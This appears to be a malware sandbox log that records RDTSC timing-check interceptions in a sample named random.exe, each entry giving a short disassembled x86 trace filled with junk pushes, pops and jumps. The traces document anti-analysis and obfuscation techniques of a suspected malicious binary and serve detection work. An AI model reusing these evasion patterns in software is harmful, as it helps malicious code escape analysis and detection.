Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C779E second address: 9C77A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C78FE second address: 9C7923 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F762h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FAC0CE0F756h 0x00000012 ja 00007FAC0CE0F756h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C7C49 second address: 9C7C4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C7D95 second address: 9C7DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 jmp 00007FAC0CE0F75Bh 0x0000000d pop edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C7DB0 second address: 9C7DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C7DB6 second address: 9C7DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C8485 second address: 9C848B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C861C second address: 9C8622 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C91CD second address: 9C91EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CEEBFA7h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C91EF second address: 9C91F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9C91F5 second address: 9C9206 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FAC0CEEBF96h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9CF025 second address: 9CF029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9CF69A second address: 9CF69E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 99C466 second address: 99C46A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D3CB6 second address: 9D3CC2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAC0CEEBF9Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D7BAC second address: 9D7BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FAC0CE0F756h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D7BB9 second address: 9D7BBF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D7BBF second address: 9D7BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FAC0CE0F75Ch 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007FAC0CE0F763h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D7BEB second address: 9D7BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D7BF0 second address: 9D7C0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FAC0CE0F762h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D705B second address: 9D706E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAC0CEEBF9Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D747A second address: 9D747E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D747E second address: 9D7489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D7891 second address: 9D78A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CE0F75Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D78A1 second address: 9D78BD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jne 00007FAC0CEEBF96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FAC0CEEBF9Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D78BD second address: 9D78C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D78C1 second address: 9D78D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FAC0CEEBF9Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D7A5A second address: 9D7A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D7A61 second address: 9D7A73 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007FAC0CEEBF96h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FAC0CEEBF96h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D99B5 second address: 9D9A23 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAC0CE0F75Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 1EAF7653h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FAC0CE0F758h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D27CAh], edx 0x00000031 jne 00007FAC0CE0F758h 0x00000037 push 45FD7576h 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f jmp 00007FAC0CE0F75Bh 0x00000044 jmp 00007FAC0CE0F768h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D9B74 second address: 9D9B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D9EBD second address: 9D9EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D9EC1 second address: 9D9ECB instructions: 0x00000000 rdtsc 0x00000002 js 00007FAC0CEEBF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D9F73 second address: 9D9F81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC0CE0F75Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D9F81 second address: 9D9F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DA5DA second address: 9DA60E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FAC0CE0F758h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f xchg eax, ebx 0x00000010 nop 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FAC0CE0F768h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DA73D second address: 9DA741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DA741 second address: 9DA74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DA74F second address: 9DA753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DA753 second address: 9DA759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DA9EE second address: 9DA9FC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAC0CEEBF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DA9FC second address: 9DAA00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DABE6 second address: 9DABF8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAC0CEEBF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c xchg eax, ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DABF8 second address: 9DABFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DABFC second address: 9DAC1D instructions: 0x00000000 rdtsc 0x00000002 js 00007FAC0CEEBF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FAC0CEEBFA4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DB0F2 second address: 9DB15A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FAC0CE0F758h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 sub dword ptr [ebp+122D303Bh], esi 0x0000002c and esi, dword ptr [ebp+122D2A07h] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007FAC0CE0F758h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 0000001Ch 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DB15A second address: 9DB165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FAC0CEEBF96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DB165 second address: 9DB16B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DB16B second address: 9DB16F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DB16F second address: 9DB183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FAC0CE0F760h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DBA1B second address: 9DBA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DE378 second address: 9DE3CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FAC0CE0F758h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov esi, dword ptr [ebp+1244D4FCh] 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007FAC0CE0F758h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 mov di, 8510h 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push esi 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DE3CE second address: 9DE3D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DEEC2 second address: 9DEEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DEEC6 second address: 9DEED0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAC0CEEBF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DEED0 second address: 9DEEDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FAC0CE0F756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DF9B2 second address: 9DF9B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DEC48 second address: 9DEC69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F761h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jc 00007FAC0CE0F760h 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DF727 second address: 9DF734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007FAC0CEEBF9Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DF9B6 second address: 9DF9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DF9BC second address: 9DF9D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FAC0CEEBF9Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DF9D8 second address: 9DF9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9DF9DC second address: 9DF9E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E0577 second address: 9E0580 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E0580 second address: 9E05F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CEEBFA5h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d jmp 00007FAC0CEEBFA9h 0x00000012 pop edi 0x00000013 nop 0x00000014 xor dword ptr [ebp+122D2896h], ebx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007FAC0CEEBF98h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 add dword ptr [ebp+122D17CCh], esi 0x0000003e push eax 0x0000003f pushad 0x00000040 jno 00007FAC0CEEBF98h 0x00000046 push eax 0x00000047 push edx 0x00000048 push esi 0x00000049 pop esi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E02B4 second address: 9E02CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CE0F75Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FAC0CE0F756h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E1EA8 second address: 9E1EAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E2DD0 second address: 9E2E45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F767h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov bx, FC00h 0x0000000e push 00000000h 0x00000010 adc bh, FFFFFFF4h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FAC0CE0F758h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f jne 00007FAC0CE0F75Ch 0x00000035 je 00007FAC0CE0F75Bh 0x0000003b adc di, 7856h 0x00000040 add dword ptr [ebp+122D194Bh], edx 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FAC0CE0F75Bh 0x0000004e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E2E45 second address: 9E2E53 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E2E53 second address: 9E2E71 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAC0CE0F756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC0CE0F762h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E2F92 second address: 9E3018 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAC0CEEBF98h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push edi 0x00000010 jmp 00007FAC0CEEBF9Dh 0x00000015 pop ebx 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov ebx, esi 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007FAC0CEEBF98h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 mov eax, dword ptr [ebp+122D07DDh] 0x00000046 pushad 0x00000047 cmc 0x00000048 push edi 0x00000049 call 00007FAC0CEEBFA9h 0x0000004e pop ebx 0x0000004f pop eax 0x00000050 popad 0x00000051 push FFFFFFFFh 0x00000053 mov dword ptr [ebp+122D3656h], eax 0x00000059 mov bx, si 0x0000005c nop 0x0000005d push eax 0x0000005e push edx 0x0000005f jl 00007FAC0CEEBF98h 0x00000065 push eax 0x00000066 pop eax 0x00000067 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E3018 second address: 9E3033 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAC0CE0F75Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jo 00007FAC0CE0F774h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E4D48 second address: 9E4D6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FAC0CEEBF96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E4D6D second address: 9E4D71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E4D71 second address: 9E4DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FAC0CEEBF98h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 sub dword ptr [ebp+122D186Fh], edi 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+1246F73Ah], edi 0x00000030 mov dword ptr [ebp+122D3A51h], ecx 0x00000036 push 00000000h 0x00000038 pushad 0x00000039 mov edi, dword ptr [ebp+122D2B5Ch] 0x0000003f push edx 0x00000040 call 00007FAC0CEEBF9Ah 0x00000045 pop edx 0x00000046 pop ecx 0x00000047 popad 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jl 00007FAC0CEEBF96h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E4DD4 second address: 9E4DDE instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAC0CE0F756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E5E17 second address: 9E5E20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E7F5A second address: 9E7F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E7F60 second address: 9E7F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9E701C second address: 9E7023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9EA0E9 second address: 9EA0EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9EA0EF second address: 9EA0F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9EA0F3 second address: 9EA0F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
